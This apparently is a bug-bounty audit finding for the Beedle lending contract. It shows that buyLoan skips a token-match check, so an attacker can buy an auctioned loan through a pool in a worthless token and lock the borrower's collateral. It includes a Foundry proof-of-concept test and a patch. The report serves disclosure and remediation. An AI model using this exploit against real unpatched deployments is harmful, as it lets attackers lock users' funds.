20,000 USDC
View results
Submission Details
Severity: high
Valid

A malicious user can lock the borrower's collateral tokens in the protocol

Summary

Attackers can buyLoan with worthless ERC20 tokens due to missing checks for token mismatches, which leads to the borrower's collateral becoming locked.

Vulnerability Details

The problem with the buyLoan function is that it lacks a check to ensure whether the tokens of the new pool mismatch with those of the old pool (similar to the giveLoan function).

This scenario can be exploited as follows:

Bob is the lender, Mallory is the borrower, and Eve is the attacker.

  1. Bob calls setPool to create a pool with loanToken: WETH and collateralToken: DAI.

  2. Mallory decides to take a loan from Bob's pool and proceeds by calling borrow, which transfers the DAI tokens into the protocol and transfer her the corresponding amount of WETH.

  3. At a later point, Bob decides to sell Mallory's loan to retrieve his WETH tokens, so he calls startAuction.

  4. Recognizing an opportunity, Eve deploys a malicious ERC20 token (let's call it ATR), which is worthless. Subsequently, she uses this token and calls setPool to create a new pool with loanToken: ATR and collateralToken: DAI

  5. As a result, Eve can now buy Mallory's loan from Bob's auction, causing the loan's loanToken to be set to her malicious token address. This is possible because the contract lacks a check for tokens mismatch.

POC:

Add this test in the Lender.t.sol

function test_blockCollateral() external {
// lender 1 set pool
vm.prank(lender1);
bytes32 lenderPoolId = lender.setPool(Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100e18,
poolBalance: 1000e18,
maxLoanRatio: 1e18,
auctionLength: 12 hours,
interestRate: 1000,
outstandingLoans: 0
}));
// borrower get loan from lender1's pool
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: lenderPoolId,
debt: 1000e18,
collateral: 1000e18
});
vm.prank(borrower);
lender.borrow(borrows);
// lender 1 start auction for loan 0
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
vm.prank(lender1);
lender.startAuction(loanIds);
// attacker preparation
address attacker = address(0x999);
vm.startPrank(attacker);
TERC20 attackerToken = new TERC20();
attackerToken.mint(attacker, 1000e18);
attackerToken.approve(address(lender), 1000e18);
bytes32 attackerPoolId = lender.setPool(Pool({
lender: attacker,
loanToken: address(attackerToken),
collateralToken: address(collateralToken),
minLoanSize: 1,
poolBalance: 1000e18,
maxLoanRatio: 1e18,
auctionLength: 12 hours,
interestRate: 0,
outstandingLoans: 0
}));
// attacker `buyLoan` but use worthless token
lender.buyLoan(0, attackerPoolId);
vm.stopPrank();
vm.prank(borrower);
vm.expectRevert(); // pools[poolId].outstandingLoans -= loan.debt;
lender.repay(loanIds);
}

Impact

The borrower is unable to retrieve his collateral because it becomes locked in a non-existent pool.

Tools Used

Manual review, Foundry

Recommendations

Add the following check-in buyLoan

https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L487

// reject if the pool is not big enough
uint256 totalDebt = loan.debt + lenderInterest + protocolInterest;
if (pools[poolId].poolBalance < totalDebt) revert PoolTooSmall();
+ if (pool.loanToken != loan.loanToken) revert TokenMismatch();
+ if (pool.collateralToken != loan.collateralToken) revert TokenMismatch();
// if they do have a big enough pool then transfer from their pool
_updatePoolBalance(poolId, pools[poolId].poolBalance - totalDebt);
pools[poolId].outstandingLoans += totalDebt;

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.